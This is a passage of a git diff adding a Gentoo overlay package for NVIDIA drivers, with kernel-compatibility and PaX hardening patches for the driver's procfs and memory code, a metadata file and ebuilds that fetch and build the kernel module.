+-            len += sprintf(page+len, "Video BIOS: \t ??.??.??.??.??\n");
++            seq_printf(m, "Video BIOS: \t ??.??.??.??.??\n");
+         }
+         else
+         {
+             fmt = "Video BIOS: \t %02x.%02x.%02x.%02x.%02x\n";
+-            len += sprintf(page+len, fmt, vbios_rev1, vbios_rev2, vbios_rev3,
++            seq_printf(m, fmt, vbios_rev1, vbios_rev2, vbios_rev3,
+                            vbios_rev4, vbios_rev5);
+         }
+     }
+@@ -180,12 +161,12 @@
+         type = "PCI-E";
+     else
+         type = "PCI";
+-    len += sprintf(page+len, "Bus Type: \t %s\n", type);
++    seq_printf(m, "Bus Type: \t %s\n", type);
+ 
+-    len += sprintf(page+len, "DMA Size: \t %d bits\n",
++    seq_printf(m, "DMA Size: \t %d bits\n",
+      nv_count_bits(dev->dma_mask));
+-    len += sprintf(page+len, "DMA Mask: \t 0x%llx\n", dev->dma_mask);
+-    len += sprintf(page+len, "Bus Location: \t %04x:%02x.%02x.%x\n",
++    seq_printf(m, "DMA Mask: \t 0x%llx\n", dev->dma_mask);
++    seq_printf(m, "Bus Location: \t %04x:%02x.%02x.%x\n",
+                    nv->domain, nv->bus, nv->slot, PCI_FUNC(dev->devfn));
+ #if defined(DEBUG)
+     do
+@@ -193,7 +174,7 @@
+         int j;
+         for (j = 0; j < NV_GPU_NUM_BARS; j++)
+         {
+-            len += sprintf(page+len, "BAR%u: \t\t 0x%llx (%lluMB)\n",
++            seq_printf(m, "BAR%u: \t\t 0x%llx (%lluMB)\n",
+                            j, nv->bars[j].address, (nv->bars[j].size >> 20));
+         }
+     } while (0);
+@@ -201,26 +182,120 @@
+ 
+     NV_KMEM_CACHE_FREE_STACK(sp);
+ 
+-    return len;
++    return 0;
+ }
+ 
+ static int
+-nv_procfs_read_version(
+-    char  *page,
+-    char **start,
+-    off_t  off,
+-    int    count,
+-    int   *eof,
+-    void  *data
++nv_procfs_open_gpu_info(
++    struct inode *inode,
++    struct file *file
++)
++{
++    return single_open(file, nv_procfs_show_gpu_info, PDE_DATA(inode));
++}
++
++static const struct file_operations nv_procfs_gpu_info_fops = {
++    .owner   = THIS_MODULE,
++    .open    = nv_procfs_open_gpu_info,
++    .read    = seq_read,
++    .llseek  = seq_lseek,
++    .release = single_release,
++};
++
++static int
++nv_procfs_show_version(
++    struct seq_file *m,
++    void *v
++)
++{
++    seq_printf(m, "NVRM version: %s\n", pNVRM_ID);
++    seq_printf(m, "GCC version:  %s\n", NV_COMPILER);
++
++    return 0;
++}
++
++static int
++nv_procfs_open_version(
++    struct inode *inode,
++    struct file *file
++)
++{
++    return single_open(file, nv_procfs_show_version, NULL);
++}
++
++static const struct file_operations nv_procfs_version_fops = {
++    .owner   = THIS_MODULE,
++    .open    = nv_procfs_open_version,
++    .read    = seq_read,
++    .llseek  = seq_lseek,
++    .release = single_release,
++};
++
++static int
++nv_procfs_show_registry(
++    struct seq_file *m,
++    void *v
++)
++{
++    nv_state_t *nv = m->private;
++    nv_linux_state_t *nvl = NULL;
++    char *registry_keys;
++
++    if (nv != NULL)
++        nvl = NV_GET_NVL_FROM_NV_STATE(nv);
++    registry_keys = ((nvl != NULL) ?
++            nvl->registry_keys : nv_registry_keys);
++
++    seq_printf(m, "Binary: \"%s\"\n", registry_keys);
++
++    return 0;
++}
++
++static ssize_t
++nv_procfs_write_registry(
++    struct file       *file,
++    const char __user *buffer,
++    size_t             count,
++    loff_t            *pos
+ )
+ {
+-    int len = 0;
+-    *eof = 1;
++    int status = 0;
++    nv_file_private_t *nvfp = NV_GET_FILE_PRIVATE(file);
++    char *proc_buffer;
++    unsigned long bytes_left;
++
++    down(&nvfp->fops_sp_lock[NV_FOPS_STACK_INDEX_PROCFS]);
++
++    bytes_left = (NV_PROC_WRITE_BUFFER_SIZE - nvfp->off - 1);
++
++    if (count == 0)
++    {
++        status = -EINVAL;
++        goto done;
++    }
++    else if ((bytes_left == 0) || (count > bytes_left))
++    {
++        status = -ENOSPC;
++        goto done;
++    }
++
++    proc_buffer = &((char *)nvfp->data)[nvfp->off];
++
++    if (copy_from_user(proc_buffer, buffer, count))
++    {
++        nv_printf(NV_DBG_ERRORS, "NVRM: failed to copy in proc data!\n");
++        status = -EFAULT;
++    }
++    else
++    {
++        nvfp->proc_data = PDE_DATA(file->f_inode);
++        nvfp->off += count;
++    }
+ 
+-    len += sprintf(page+len, "NVRM version: %s\n", pNVRM_ID);
+-    len += sprintf(page+len, "GCC version:  %s\n", NV_COMPILER);
++done:
++    up(&nvfp->fops_sp_lock[NV_FOPS_STACK_INDEX_PROCFS]);
+ 
+-    return len;
++    return ((status < 0) ? status : count);
+ }
+ 
+ static int
+@@ -233,7 +308,7 @@
+     nv_stack_t *sp = NULL;
+ 
+     if (0 == (file->f_mode & FMODE_WRITE))
+-        return 0;
++        return single_open(file, nv_procfs_show_registry, PDE_DATA(inode));
+ 
+     nvfp = nv_alloc_file_private();
+     if (nvfp == NULL)
+@@ -282,6 +357,9 @@
+     RM_STATUS rm_status;
+     int rc = 0;
+ 
++    if (0 == (file->f_mode & FMODE_WRITE))
++        return single_release(inode, file);
++
+     nvfp = NV_GET_FILE_PRIVATE(file);
+     if (nvfp == NULL)
+         return 0;
+@@ -346,122 +424,81 @@
+     return rc;
+ }
+ 
+-static struct file_operations nv_procfs_registry_fops = {
++static const struct file_operations nv_procfs_registry_fops = {
+     .open    = nv_procfs_open_registry,
++    .read    = seq_read,
++    .llseek  = seq_lseek,
++    .write   = nv_procfs_write_registry,
+     .release = nv_procfs_close_registry,
+ };
+ 
+ static int
+-nv_procfs_read_params(
+-    char  *page,
+-    char **start,
+-    off_t  off,
+-    int    count,
+-    int   *eof,
+-    void  *data
++nv_procfs_show_params(
++    struct seq_file *m,
++    void *v
+ )
+ {
+     unsigned int i;
+-    int len = 0;
+     nv_parm_t *entry;
+ 
+-    *eof = 1;
+ 
+     for (i = 0; (entry = &nv_parms[i])->name != NULL; i++)
+-        len += sprintf(page+len, "%s: %u\n", entry->name, *entry->data);
++        seq_printf(m, "%s: %u\n", entry->name, *entry->data);
+ 
+-    len += sprintf(page+len, "RegistryDwords: \"%s\"\n",
++    seq_printf(m, "RegistryDwords: \"%s\"\n",
+                 (NVreg_RegistryDwords != NULL) ? NVreg_RegistryDwords : "");
+-    len += sprintf(page+len, "RmMsg: \"%s\"\n",
++    seq_printf(m, "RmMsg: \"%s\"\n",
+                 (NVreg_RmMsg != NULL) ? NVreg_RmMsg : "");
+ 
+-    return len;
++    return 0;
+ }
+ 
+ static int
+-nv_procfs_read_registry(
+-    char  *page,
+-    char **start,
+-    off_t  off,
+-    int    count,
+-    int   *eof,
+-    void  *data
+-)
++nv_procfs_open_params(
++    struct inode *inode,
++    struct file *file
++)    
+ {
+-    nv_state_t *nv = data;
+-    nv_linux_state_t *nvl = NULL;
+-    char *registry_keys;
++    return single_open(file, nv_procfs_show_params, NULL);
++}
+ 
+-    if (nv != NULL)
+-        nvl = NV_GET_NVL_FROM_NV_STATE(nv);
+-    registry_keys = ((nvl != NULL) ?
+-            nvl->registry_keys : nv_registry_keys);
++static const struct file_operations nv_procfs_params_fops = {
++    .owner   = THIS_MODULE,
++    .open    = nv_procfs_open_params,
++    .read    = seq_read,
++    .llseek  = seq_lseek,
++    .release = single_release,
++};
+ 
+-    *eof = 1;
+-    return sprintf(page, "Binary: \"%s\"\n", registry_keys);
+-}
+ 
+ static int
+-nv_procfs_write_registry(
+-    struct file   *file,
+-    const char    *buffer,
+-    unsigned long  count,
+-    void          *data
++nv_procfs_show_text_file(
++    struct seq_file *m,
++    void *v
+ )
+ {
+-    int status = 0;
+-    nv_file_private_t *nvfp = NV_GET_FILE_PRIVATE(file);
+-    char *proc_buffer;
+-    unsigned long bytes_left;
+-
+-    down(&nvfp->fops_sp_lock[NV_FOPS_STACK_INDEX_PROCFS]);
+-
+-    bytes_left = (NV_PROC_WRITE_BUFFER_SIZE - nvfp->off - 1);
++    seq_printf(m, "%s", (char *)m->private);
+ 
+-    if (count == 0)
+-    {
+-        status = -EINVAL;
+-        goto done;
+-    }
+-    else if ((bytes_left == 0) || (count > bytes_left))
+-    {
+-        status = -ENOSPC;
+-        goto done;
+-    }
+-
+-    proc_buffer = &((char *)nvfp->data)[nvfp->off];
+-
+-    if (copy_from_user(proc_buffer, buffer, count))
+-    {
+-        nv_printf(NV_DBG_ERRORS, "NVRM: failed to copy in proc data!\n");
+-        status = -EFAULT;
+-    }
+-    else
+-    {
+-        nvfp->proc_data = data;
+-        nvfp->off += count;
+-    }
+-
+-done:
+-    up(&nvfp->fops_sp_lock[NV_FOPS_STACK_INDEX_PROCFS]);
+-
+-    return ((status < 0) ? status : (int)count);
++    return 0;
+ }
+ 
+ static int
+-nv_procfs_read_text_file(
+-    char  *page,
+-    char **start,
+-    off_t  off,
+-    int    count,
+-    int   *eof,
+-    void  *data
++nv_procfs_open_text_file(
++    struct inode *inode,
++    struct file *file
+ )
+ {
+-    *eof = 1;
+-    return sprintf(page, "%s", (char *)data);
++    return single_open(file, nv_procfs_show_text_file, PDE_DATA(inode));
+ }
+ 
++static const struct file_operations nv_procfs_text_fops = {
++    .owner   = THIS_MODULE,
++    .open    = nv_procfs_open_text_file,
++    .read    = seq_read,
++    .llseek  = seq_lseek,
++    .release = single_release,
++};
++
+ static void
+ nv_procfs_add_text_file(
+     struct proc_dir_entry *parent,
+@@ -469,22 +506,7 @@
+     const char *text
+ )
+ {
+-    NV_CREATE_PROC_FILE(filename, parent,
+-            nv_procfs_read_text_file, NULL, NULL, (void *)text);
+-}
+-
+-static void nv_procfs_unregister_all(struct proc_dir_entry *entry)
+-{
+-    while (entry)
+-    {
+-        struct proc_dir_entry *next = entry->next;
+-        if (entry->subdir)
+-            nv_procfs_unregister_all(entry->subdir);
+-        remove_proc_entry(entry->name, entry->parent);
+-        if (entry == proc_nvidia)
+-            break;
+-        entry = next;
+-    }
++    proc_create_data(filename, NV_PROC_RO, parent, &nv_procfs_text_fops, (void *)text);
+ }
+ #endif
+ 
+@@ -513,26 +535,11 @@
+     if (!proc_nvidia)
+         goto failed;
+ 
+-    entry = NV_CREATE_PROC_FILE("params", proc_nvidia,
+-        nv_procfs_read_params, NULL, NULL, NULL);
++    entry = proc_create("params", NV_PROC_RO, proc_nvidia, &nv_procfs_params_fops);
+     if (!entry)
+         goto failed;
+ 
+-    /*
+-     * entry->proc_fops originally points to a constant
+-     * structure, so to add more methods for the
+-     * binary registry write path, we need to replace the
+-     * said entry->proc_fops with a new fops structure.
+-     * However, in preparation for this, we need to preserve
+-     * the procfs read() and write() operations.
+-     */
+-    nv_procfs_registry_fops.read = entry->proc_fops->read;
+-    nv_procfs_registry_fops.write = entry->proc_fops->write;
+-
+-    entry = NV_CREATE_PROC_FILE("registry", proc_nvidia,
+-        nv_procfs_read_registry,
+-        nv_procfs_write_registry,
+-        &nv_procfs_registry_fops, NULL);
++    entry = proc_create("registry", NV_PROC_RW, proc_nvidia, &nv_procfs_registry_fops);
+     if (!entry)
+         goto failed;
+ 
+@@ -553,8 +560,7 @@
+ 
+     nv_procfs_add_text_file(proc_nvidia_patches, "README", __README_patches);
+ 
+-    entry = NV_CREATE_PROC_FILE("version", proc_nvidia,
+-        nv_procfs_read_version, NULL, NULL, NULL);
++    entry = proc_create("version", NV_PROC_RO, proc_nvidia, &nv_procfs_version_fops);
+     if (!entry)
+         goto failed;
+ 
+@@ -571,15 +577,11 @@
+         if (!proc_nvidia_gpu)
+             goto failed;
+ 
+-        entry = NV_CREATE_PROC_FILE("information", proc_nvidia_gpu,
+-            nv_procfs_read_gpu_info, NULL, NULL, nv);
++	entry = proc_create_data("information", NV_PROC_RO, proc_nvidia_gpu, &nv_procfs_gpu_info_fops, nv);
+         if (!entry)
+             goto failed;
+ 
+-        entry = NV_CREATE_PROC_FILE("registry", proc_nvidia_gpu,
+-            nv_procfs_read_registry,
+-            nv_procfs_write_registry,
+-            &nv_procfs_registry_fops, nv);
++	entry = proc_create_data("registry", NV_PROC_RW, proc_nvidia_gpu, &nv_procfs_registry_fops, nv);
+         if (!entry)
+             goto failed;
+     }
+@@ -587,7 +589,7 @@
+     return 0;
+ #if defined(CONFIG_PROC_FS)
+ failed:
+-    nv_procfs_unregister_all(proc_nvidia);
++    remove_proc_subtree("nvidia", proc_nvidia);
+     return -1;
+ #endif
+ }
+@@ -595,6 +597,6 @@
+ void nv_unregister_procfs(void)
+ {
+ #if defined(CONFIG_PROC_FS)
+-    nv_procfs_unregister_all(proc_nvidia);
++    remove_proc_subtree("nvidia", proc_nvidia);
+ #endif
+ }
+
diff --git a/x11-drivers/nvidia-drivers/files/nvidia-drivers-96.43.19-2.6.39.patch b/x11-drivers/nvidia-drivers/files/nvidia-drivers-96.43.19-2.6.39.patch
new file mode 100644
index 00000000..4ee8ba60
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/nvidia-drivers-96.43.19-2.6.39.patch
@@ -0,0 +1,10 @@
+--- usr/src/nv/nv-linux.h.orig	2010-10-28 04:23:04.000000000 +0200
++++ usr/src/nv/nv-linux.h	2011-05-21 08:58:35.714633248 +0200
+@@ -80,7 +80,6 @@
+ #if !defined(KERNEL_2_4)
+ #include <linux/sched.h>            /* suser(), capable() replacement   */
+ #include <linux/moduleparam.h>      /* module_param()                   */
+-#include <linux/smp_lock.h>         /* kernel_locked                    */
+ #include <asm/tlbflush.h>           /* flush_tlb(), flush_tlb_all()     */
+ #include <asm/kmap_types.h>         /* page table entry lookup          */
+ #endif
diff --git a/x11-drivers/nvidia-drivers/files/nvidia-drivers-pax-const.patch b/x11-drivers/nvidia-drivers/files/nvidia-drivers-pax-const.patch
new file mode 100644
index 00000000..f3b82593
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/nvidia-drivers-pax-const.patch
@@ -0,0 +1,17 @@
+Binary files kernel.orig/.nv-procfs.c.swp and kernel/.nv-procfs.c.swp differ
+diff -urp kernel.orig/nv-procfs.c kernel/nv-procfs.c
+--- kernel.orig/nv-procfs.c	2011-07-13 03:29:30.000000000 +0200
++++ kernel/nv-procfs.c	2011-07-19 15:45:27.982993911 +0200
+@@ -707,8 +707,10 @@ int nv_register_procfs(void)
+      * However, in preparation for this, we need to preserve
+      * the procfs read() and write() operations.
+      */
+-    nv_procfs_registry_fops.read = entry->proc_fops->read;
+-    nv_procfs_registry_fops.write = entry->proc_fops->write;
++    pax_open_kernel();
++    *(void **)&nv_procfs_registry_fops.read = entry->proc_fops->read;
++    *(void **)&nv_procfs_registry_fops.write = entry->proc_fops->write;
++    pax_close_kernel();
+ 
+     entry = NV_CREATE_PROC_FILE("registry", proc_nvidia,
+         nv_procfs_read_registry,
diff --git a/x11-drivers/nvidia-drivers/files/nvidia-drivers-pax-usercopy.patch b/x11-drivers/nvidia-drivers/files/nvidia-drivers-pax-usercopy.patch
new file mode 100644
index 00000000..ce8c201b
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/nvidia-drivers-pax-usercopy.patch
@@ -0,0 +1,54 @@
+diff -urp kernel.orig/nv.c kernel/nv.c
+--- kernel.orig/nv.c	2011-09-24 02:32:09.000000000 +0200
++++ kernel/nv.c	2011-10-05 19:13:41.474242252 +0200
+@@ -1105,7 +1105,7 @@ static int __init nvidia_init_module(voi
+     NV_SPIN_LOCK_INIT(&km_lock);
+ #endif
+ 
+-    NV_KMEM_CACHE_CREATE(nv_stack_t_cache, "nv_stack_t", nv_stack_t);
++    NV_KMEM_CACHE_CREATE(nv_stack_t_cache, "nv_stack_t", nv_stack_t, SLAB_USERCOPY);
+     if (nv_stack_t_cache == NULL)
+     {
+         nv_printf(NV_DBG_ERRORS, "NVRM: stack cache allocation failed!\n");
+@@ -1220,7 +1220,7 @@ static int __init nvidia_init_module(voi
+     }
+ #endif
+ 
+-    NV_KMEM_CACHE_CREATE(nv_pte_t_cache, "nv_pte_t", nv_pte_t);
++    NV_KMEM_CACHE_CREATE(nv_pte_t_cache, "nv_pte_t", nv_pte_t, 0);
+     if (nv_pte_t_cache == NULL)
+     {
+         rc = -ENOMEM;
+@@ -1229,7 +1229,7 @@ static int __init nvidia_init_module(voi
+     }
+ 
+     NV_KMEM_CACHE_CREATE(nvidia_p2p_page_t_cache, "nvidia_p2p_page_t",
+-            nvidia_p2p_page_t);
++            nvidia_p2p_page_t, 0);
+     if (nvidia_p2p_page_t_cache == NULL)
+     {
+         rc = -ENOMEM;
+diff -urp kernel.orig/nv-linux.h kernel/nv-linux.h
+--- kernel.orig/nv-linux.h	2011-09-24 02:32:09.000000000 +0200
++++ kernel/nv-linux.h	2011-10-05 19:14:42.522238996 +0200
+@@ -695,16 +695,16 @@ extern nv_spinlock_t km_lock;
+ 
+ #if defined(NV_KMEM_CACHE_CREATE_PRESENT)
+ #if (NV_KMEM_CACHE_CREATE_ARGUMENT_COUNT == 6)
+-#define NV_KMEM_CACHE_CREATE(kmem_cache, name, type)            \
++#define NV_KMEM_CACHE_CREATE(kmem_cache, name, type, flags)     \
+     {                                                           \
+         kmem_cache = kmem_cache_create(name, sizeof(type),      \
+-                        0, 0, NULL, NULL);                      \
++                        0, flags, NULL, NULL);                  \
+     }
+ #elif (NV_KMEM_CACHE_CREATE_ARGUMENT_COUNT == 5)
+-#define NV_KMEM_CACHE_CREATE(kmem_cache, name, type)            \
++#define NV_KMEM_CACHE_CREATE(kmem_cache, name, type, flags)     \
+     {                                                           \
+         kmem_cache = kmem_cache_create(name, sizeof(type),      \
+-                        0, 0, NULL);                            \
++                        0, flags, NULL);                        \
+     }
+ #else
+ #error "NV_KMEM_CACHE_CREATE_ARGUMENT_COUNT value unrecognized!"
diff --git a/x11-drivers/nvidia-drivers/files/replace-VM_RESERVED-with-VM_DONTEXPAND-and-VM_DONTDU.patch b/x11-drivers/nvidia-drivers/files/replace-VM_RESERVED-with-VM_DONTEXPAND-and-VM_DONTDU.patch
new file mode 100644
index 00000000..51aa2851
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/replace-VM_RESERVED-with-VM_DONTEXPAND-and-VM_DONTDU.patch
@@ -0,0 +1,28 @@
+From fed1fa17202cf13bf80bbbad3bf0ffdfd192df42 Mon Sep 17 00:00:00 2001
+From: Alberto Milone <alberto.milone@canonical.com>
+Date: Wed, 7 Nov 2012 12:11:02 +0100
+Subject: [PATCH 1/1] Replace VM_RESERVED with VM_DONTEXPAND and VM_DONTDUMP
+
+---
+ nv-mmap.c |    4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/nv-mmap.c b/nv-mmap.c
+index acc02ec..b2d5cdb 100644
+--- a/nv-mmap.c
++++ b/nv-mmap.c
+@@ -463,7 +463,11 @@ int nv_kern_mmap(
+         NV_PRINT_AT(NV_DBG_MEMINFO, at);
+         nv_vm_list_page_count(&at->page_table[i], pages);
+ 
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,7,0)
++        vma->vm_flags |= (VM_IO | VM_LOCKED | (VM_DONTEXPAND | VM_DONTDUMP));
++#else
+         vma->vm_flags |= (VM_IO | VM_LOCKED | VM_RESERVED);
++#endif
+ 
+ #if defined(VM_DRIVER_PAGES)
+         vma->vm_flags |= VM_DRIVER_PAGES;
+-- 
+1.7.9.5
+
diff --git a/x11-drivers/nvidia-drivers/metadata.xml b/x11-drivers/nvidia-drivers/metadata.xml
new file mode 100644
index 00000000..b4cf3e70
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>no-herd</herd>
+<maintainer>
+  <email>lxnay@gentoo.org</email>
+  <description>General maintainer</description>
+</maintainer>
+<longdescription>NVIDIA X11 driver and GLX libraries</longdescription>
+</pkgmetadata>
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-173.14.31.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-173.14.31.ebuild
new file mode 100644
index 00000000..d1694146
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-173.14.31.ebuild
@@ -0,0 +1,199 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker portability versionator linux-mod flag-o-matic nvidia-driver
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( ftp://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}-pkg0.run )
+	 amd64? ( ftp://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}-pkg2.run )
+	 x86-fbsd? ( ftp://download.nvidia.com/freebsd/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi custom-cflags multilib kernel_linux"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	acpi? ( sys-power/acpid )"
+PDEPEND=""
+
+if use x86; then
+	PKG_V="-pkg0"
+	NV_PACKAGE="${X86_NV_PACKAGE}"
+elif use amd64; then
+	PKG_V="-pkg2"
+	NV_PACKAGE="${AMD64_NV_PACKAGE}"
+elif use x86-fbsd; then
+	PKG_V=""
+	NV_PACKAGE="${X86_FBSD_NV_PACKAGE}"
+fi
+
+S="${WORKDIR}/${NV_PACKAGE}${PKG_V}"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol 'lockdep_init_map' as GPL-only"
+		eerror "which will prevent ${P} from compiling."
+		eerror "Please make sure the following options have been unset:"
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		die "LOCKDEP enabled"
+	fi
+}
+
+pkg_setup() {
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/usr/src/nv)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} HOST_CC=$(tc-getBUILD_CC)"
+		mtrr_check
+		lockdep_check
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_SRC="${S}/src"
+	elif use kernel_linux; then
+		NV_SRC="${S}/usr/src/nv"
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if use kernel_linux && kernel_is lt 2 6 7; then
+		echo
+		ewarn "Your kernel version is ${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}"
+		ewarn "This is not officially supported for ${P}. It is likely you"
+		ewarn "will not be able to compile or use the kernel module."
+		ewarn "It is recommended that you upgrade your kernel to a version >= 2.6.7"
+		echo
+		ewarn "DO NOT file bug reports for kernel versions less than 2.6.7 as they will be ignored."
+	fi
+
+	if ! use x86-fbsd; then
+		mkdir "${S}"
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+
+	if use kernel_linux; then
+		# Quiet down warnings the user does not need to see
+		sed -i \
+			-e 's:-Wpointer-arith::g' \
+			-e 's:-Wsign-compare::g' \
+			"${NV_SRC}"/Makefile.kbuild
+
+		# If you set this then it's your own fault when stuff breaks :)
+		use custom-cflags && sed -i "s:-O:${CFLAGS}:" "${NV_SRC}"/Makefile.*
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use x86-fbsd; then
+		insinto /boot/modules
+		doins "${WORKDIR}/${NV_PACKAGE}/src/nvidia.kld" || die
+
+		exeinto /boot/modules
+		doexe "${WORKDIR}/${NV_PACKAGE}/src/nvidia.ko" || die
+	fi
+}
+
+pkg_preinst() {
+	if use kernel_linux; then
+		linux-mod_pkg_postinst
+	fi
+}
+
+pkg_postinst() {
+	if use kernel_linux; then
+		linux-mod_pkg_postinst
+	fi
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+	echo
+}
+
+pkg_postrm() {
+	if use kernel_linux; then
+		linux-mod_pkg_postrm
+	fi
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-173.14.34.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-173.14.34.ebuild
new file mode 100644
index 00000000..23bf384c
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-173.14.34.ebuild
@@ -0,0 +1,204 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker portability versionator linux-mod flag-o-matic nvidia-driver
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( ftp://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}-pkg0.run )
+	 amd64? ( ftp://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}-pkg2.run )
+	 x86-fbsd? ( ftp://download.nvidia.com/freebsd/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi custom-cflags multilib kernel_linux"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	acpi? ( sys-power/acpid )"
+PDEPEND=""
+
+if use x86; then
+	PKG_V="-pkg0"
+	NV_PACKAGE="${X86_NV_PACKAGE}"
+elif use amd64; then
+	PKG_V="-pkg2"
+	NV_PACKAGE="${AMD64_NV_PACKAGE}"
+elif use x86-fbsd; then
+	PKG_V=""
+	NV_PACKAGE="${X86_FBSD_NV_PACKAGE}"
+fi
+
+S="${WORKDIR}/${NV_PACKAGE}${PKG_V}"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol 'lockdep_init_map' as GPL-only"
+		eerror "which will prevent ${P} from compiling."
+		eerror "Please make sure the following options have been unset:"
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		die "LOCKDEP enabled"
+	fi
+}
+
+pkg_setup() {
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/usr/src/nv)"
